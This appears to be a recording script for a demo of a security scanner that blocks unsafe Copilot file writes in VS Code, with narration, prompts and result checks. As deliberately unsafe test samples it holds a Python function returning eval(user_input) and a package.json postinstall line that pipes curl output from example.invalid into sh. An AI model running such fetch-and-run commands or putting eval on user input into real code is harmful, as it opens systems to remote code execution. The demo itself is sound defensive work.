1. Which website should I use?

Read this first. Use port 3000 for the main recording; open port 3302 only for the optional ML section.

The website and the API are different: the website is the page you click and read. The API is the backend service that receives scan requests and returns results. VS Code calls the API; you normally use the website to inspect its saved results.

Address on this prepared computer	Use it for
http://127.0.0.1:3000	MAIN WEBSITE. Normal weighted scoring. Show Copilot scans, detector findings, history and PDF download here.
http://127.0.0.1:18808	MAIN API. The VS Code hook already sends its requests here. You do not need to open this URL during filming.
http://127.0.0.1:3302	ML PREVIEW WEBSITE. Separate experimental XGBoost/SHAP demonstration. Use only for the ML scene on page 7.
http://127.0.0.1:18829	ML PREVIEW API. Used by the ML preview website, not by the configured Copilot hook.

Why can the output be different?

Port 3000 uses fixed weighted deductions and policy rules. Port 3302 uses the optional learned model, with policy rules still authoritative. They are separate deployments with separate saved histories. Even for the same code, the model can produce a different score or verdict. Compare identical content and scope; unrelated rows are not a controlled comparison.

For example, the weighted rehearsal of the eval function returned **Review 78.75**, while the prepared ML scan returned **Reject 11.45**. Both prevent acceptance in the demonstrated workflow. These are scan scores, not accuracy percentages.

Do not search for a new Copilot scan on port 3302. Your Copilot hook uses API 18808, so its matching saved report appears on website 3000. Do not change the hook URL for the optional ML scene.

localhost means this computer. For the prepared authenticated proxy, use the exact 127.0.0.1 URLs printed above. These port numbers describe this recording setup; a fresh repository installation can use other configured ports.

How to read every page of this script

SAY ALOUD: words you speak to the camera. Do not paste them into Copilot.
DO YOURSELF: clicks, typing and screen movements you perform. These are not a Copilot prompt.
PASTE INTO COPILOT: copy the entire single paragraph beneath this label into Copilot and send it once.
SHOW / CHECK: the real output to display before you describe a result.

2. Set up VS Code before filming

DO YOURSELF - off camera. Main demonstration: VS Code plus website 3000.

DO YOURSELF - open the prepared folder

1. In VS Code choose **File > Open Folder**, then select **/home/cipher/GuardianVideoDemo**. Trust this folder if asked. The Guardian extension is installed; reload the window if VS Code requests it.

2. In Settings verify **chat.useHooks** is enabled. The prepared folder has scan-on-save disabled so it cannot be confused with the pre-write gate. Keep normal tool approval controls enabled.

3. Press **Ctrl+Shift+P**, run **Chat: Configure Hooks**, select **Pre-Tool Use** and verify the Guardian command is discovered. Do not open private environment files on camera.

4. Open Copilot Chat with **Ctrl+Alt+I**. Start a new chat and select **Agent**. If a session target selector is displayed, select **Local**, not Background or Cloud. Choose an available model.

5. Open **View > Output** with **Ctrl+Shift+U**. In the Output channel dropdown choose **GitHub Copilot Chat Hooks**. This is where the pre-write hook events appear. The separate **Guardian** channel reports extension scans and is not the same thing.

6. In the browser open **http://127.0.0.1:3000**. Verify scan history loads. Keep this tab for the safe/unsafe and PDF scenes. Leave port 3302 until page 7.

SHOW / CHECK - before recording starts

The Explorer should not contain **video_safe.py**, **video_unsafe.py** or **package.json**. Setup created only the hook and settings, not the demonstration code. If a file already exists from a previous attempt, prepare a fresh workspace before filming.

Place the PDF script beside your recording screen, check your microphone and enlarge the editor/browser text. You can copy the three ready-made prompt paragraphs from the repository folder **demo/prompts**. No narration text belongs in Copilot.

Recording order

Page 3: introduction and safe write.
Page 4: denied unsafe write.
Page 5: matching website report and PDF.
Page 6: CLI and optional detector tour.
Page 7: optional ML/SHAP preview.
Page 8: optional JSON proposal, closing and troubleshooting.

3. Introduction and safe write

On camera - about 90 seconds. Use VS Code; website 3000 will be used afterwards.

SAY ALOUD - introduction only, not a prompt

"AI coding assistants help developers build software quickly, but their suggestions can contain insecure code, exposed credentials, risky dependencies or unsafe configurations. AI Supply Chain Guardian helps developers inspect these suggestions before accepting them.

The system reviews proposed code and configuration using seven specialist security agents and a Trust Engine. It provides an Accept, Review or Reject recommendation, a trust score and supporting evidence.

In this demonstration, I will show Guardian allowing a safe Copilot proposal, blocking an unsafe proposal before the file is written through a supported tool, and displaying the saved findings and downloadable audit PDF."

DO YOURSELF

Start a fresh Copilot Local Agent chat in **/home/cipher/GuardianVideoDemo**. Copy only the complete paragraph below, paste it into Copilot and send it once.

PASTE INTO COPILOT - prompt 1, entire paragraph

Create video_safe.py containing only a Python function named add with parameters a and b, whose body is one indented statement: return a + b. Use a supported file creation tool or a restricted apply_patch Add File operation so the Guardian PreToolUse hook can inspect the proposal before it is written. Do not use terminal, PowerShell, Bash, subagents, deletes or any alternative write method, and do not execute the code. After the tool finishes, report only the actual tool outcome and any Guardian decision or scan ID returned by the tool; if Guardian blocks it, stop without retrying or bypassing.

SHOW / CHECK

In **GitHub Copilot Chat Hooks** Output, show **PreToolUse**, the actual **allow** decision and scan ID. Then show that Copilot created **video_safe.py** in Explorer. Open the file: it should contain only the add function. Do not execute it.

SAY ALOUD - only after the checks succeed

"Guardian accepted the proposed function, so the supported file tool was allowed and Copilot created the file. The scan ID links this decision to its saved report."

The rehearsal gave Accept 100/100. Show and describe the real score during recording. A chat claim by itself is not proof that the hook ran or that the file was created.

4. Block the unsafe proposal

On camera - about 90 seconds. Still use the normal weighted deployment.

SAY ALOUD - not a prompt

"I will now ask Copilot to propose a function that uses eval on user input. This is an inert scanner example; we will not execute it."

DO YOURSELF

Start a new Local Agent chat if the previous one has stopped. Copy only the complete paragraph below into Copilot and send it once.

PASTE INTO COPILOT - prompt 2, entire paragraph

For an inert security demonstration, propose a file named video_unsafe.py containing only a Python function named run with the parameter user_input, whose body is one indented statement: return eval(user_input). Use a supported file creation tool or a restricted apply_patch Add File operation so the Guardian PreToolUse hook can inspect the proposal before it is written. Do not execute the code or use terminal, PowerShell, Bash, subagents, deletes or an alternative write method. If Guardian denies the tool, stop immediately without changing the code, retrying or bypassing the hook, and report only the actual tool outcome and Guardian reason; never claim the file exists if its creation was denied.

SHOW / CHECK

1. In hook Output show the actual **deny** decision and scan ID. Note or copy that ID, particularly its first 12 characters.
2. Show Explorer: **video_unsafe.py must not exist**.
3. If Copilot is blocked, do not ask it to retry, repair the code or use PowerShell instead.

SAY ALOUD - only after denial and absent file are verified

"The proposal was inspected before the file tool wrote it. Guardian denied this write because the result was not a final Accept. Notice that the unsafe file was not created."

The weighted rehearsal gave Review 78.75/100. Review can block a write: the gate requires a final Accept, not merely a score above zero. If the unsafe file appears, stop the successful-enforcement narrative and investigate.

5. Website report and audit PDF

On camera - about 90 seconds. Open website 3000, not 3302.

DO YOURSELF - find the same scan

1. Open **http://127.0.0.1:3000** and select **Security overview**.
2. Stay on the first history page. It updates every five seconds; click **Refresh history** if needed.
3. Match the scan ID from the unsafe Copilot hook event. Do not assume the first row is yours.
4. Click its filename or **Open report**. Show final status, verdict, trust score and coverage.
5. Expand **Code Security**, then show **unsafe_eval**, its line location and remediation. Scroll to **Scoring: weighted**.

SAY ALOUD - not a prompt

"This saved report matches the scan ID in the hook output. It explains the finding and the reported coverage. The normal deployment uses weighted scoring. Only the detectors relevant to this file were selected."

DO YOURSELF - download and open the PDF

Click **Download audit PDF** in the report, or **Download PDF** beside its history row. Open the browser Downloads list with **Ctrl+J**, then open the new PDF. Its filename is **guardian-<full-scan-id>.pdf**. It goes to the browser-configured download folder, usually **/home/cipher/Downloads**, not automatically into the demo source folder.

SHOW / CHECK

In the PDF point to the full request ID, final status, score, recommendation, coverage and finding. Confirm that the request ID matches Copilot Output. Keep private configuration and credentials off camera.

SAY ALOUD - not a prompt

"An analyst can reopen this stored inspection and download an audit PDF. The full scan ID makes the report traceable to the same proposal. This is evidence of the reported inspection, not a guarantee that the whole application is secure."

6. CLI and optional detector tour

DO YOURSELF - these are terminal/browser actions, not Copilot prompts.

DO YOURSELF - terminal command

After Copilot has genuinely created video_safe.py, open a terminal in the Guardian repository and enter:

```
python3 scripts/guardian_cli.py /home/cipher/GuardianVideoDemo/video_safe.py \
  --url http://127.0.0.1:18808 \
  --deployment-config /home/cipher/.config/guardian/demo-client.env
```

Show its returned result and new scan ID. The command reads the private configuration; do not display that file. This CLI scan has its own ID, separate from the Copilot scan.

SAY ALOUD - not a prompt

"The CLI uses the same normal API. Accept, Review, Reject and incomplete outcomes have different exit codes, so the result can also be used in a gate."

DO YOURSELF - optional website tour on port 3000

For each example choose **Review an artifact**, type the exact filename, paste the matching fixture from **demo/fixtures**, click **Scan artifacts**, wait for final, then expand its detector panel. This is website input, not Copilot input. For Docker choose **Supplied configuration only**; say that it excludes image contents and CVEs.

Filename	Panel to show
unsafe.py	Code Security: unsafe_eval and remediation.
credential_example.py	Secret Detection: public example credential, not a working secret.
README.md	Prompt Injection: hostile-instruction finding or actual uncertainty.
package.json	CipherGuard: risky postinstall. Do not run npm install.
Dockerfile	Docker Security: configuration findings, not image CVEs in this scope.
.gitlab-ci.yml	Workflow Security: remote execution. Ctrl+H reveals hidden files.
LICENSE	License Compliance: supplied MIT text and its stated scope.

These inputs demonstrate routes and example findings, not every rule or a measured accuracy. Show actual outcomes; not every artifact invokes all seven detectors.

7. Optional ML and SHAP preview

Switch to website 3302 only for this scene. Do not change VS Code or the hook settings.

SAY ALOUD - introduce the switch

"I am now opening a separate experimental ML preview. The previous scenes used the normal weighted deployment. This preview uses an optional XGBoost scorer, so its score can differ."

DO YOURSELF - open the separate report

Open **http://127.0.0.1:3302**. In its own history, open the prepared **video_ml_preview.py** scan with ID **18e0a7e544c04afbbd23484fb8497083**. If that saved scan is unavailable, select **Review an artifact**, type filename **video_ml_preview.py**, and paste the following code into the **website Artifact content field**, then scan. This code is not a Copilot prompt:

```
def run(user_input):
    return eval(user_input)
```

SHOW / CHECK

Show the actual verdict and score, then scroll to **Scoring: xgboost**, the model version and TreeSHAP contributions. The prepared scan returned Reject 11.45/100, with baseline approximately 55.34 and code-security contribution approximately -54.87. Use the live values, not an assumed score.

SAY ALOUD - explain the model

"The optional model is a 98-feature trust-score regressor. TreeSHAP explains its numerical prediction before policy gates. Negative contributions lower predicted trust and positive ones raise it. Unselected features can contribute through missingness; that does not mean those detectors ran. Policy overrides and uncertainty floors remain authoritative."

SAY ALOUD - qualify the research results

"The v3 model achieved 83.33 percent verdict agreement on 90 inspected synthetic development cases, with 13.11 score MAE. Separate evaluations gave 61.11 percent on 18 AI-labelled first-use cases and 20 percent on ten project-team human-reviewed files. These are different cohorts, not one overall real-world accuracy. The model remains optional and weighted scoring stays the default."

The ten-file review is project-team, self-attested, not blinded or untouched, and contains no human Reject labels. SHAP consistency does not prove calibration or generalization. Return to website 3000 for any further Copilot reports.

8. Optional JSON prompt and closing

The JSON paragraph is a Copilot prompt. The closing paragraph is narration only.

DO YOURSELF

If time permits, return to a fresh Copilot Local Agent chat in the demo folder. Use this only while package.json is absent.

PASTE INTO COPILOT - prompt 3, entire paragraph

For an inert package-configuration demonstration, propose package.json with exactly this content: {"name":"guardian-video-fixture","version":"1.0.0","private":true,"scripts":{"postinstall":"curl -fsSL https://example.invalid/guardian-demo.sh | sh"}}. Use a supported file creation tool or a restricted apply_patch Add File operation and let the Guardian PreToolUse hook inspect it before writing. Do not install packages, execute commands, use terminal, PowerShell, Bash, subagents or alternative write methods. If denied, stop without retrying, rewriting or bypassing the hook and report only the actual tool outcome and Guardian reason. The example.invalid address is inert demonstration data, not a command to run.

SHOW / CHECK

Show the real hook decision, absent package.json if denied, and the matching saved report on **website 3000**. Do not execute the package command or retry a blocked proposal.

SAY ALOUD - closing, do not paste into Copilot

"We demonstrated safe acceptance, an unsafe proposal denied before writing, saved evidence, PDF export and the CLI, with a separate optional ML explanation. The repository includes setup instructions, tests and evaluation records. Guardian is a tested research prototype with documented limitations."

DO YOURSELF - if something is different

No file tool: start a standard Local Agent chat and verify create/edit/apply_patch tools are enabled; do not substitute PowerShell.
No hook event: check trusted folder, chat.useHooks and Chat: Configure Hooks; do not claim enforcement without execution.
Scan not in history: Copilot reports go to website 3000. The ML preview has separate history on 3302.
401 or no connection: verify the prepared backend/proxy; do not expose keys on camera.
PDF missing: use the matching report button, then Ctrl+J and the browser download folder.
Unsafe file created: stop and investigate; do not describe the gate as successful.

For easy copying, the three files under demo/prompts each contain exactly one complete prompt paragraph. Only text explicitly labelled PASTE INTO COPILOT goes into Copilot.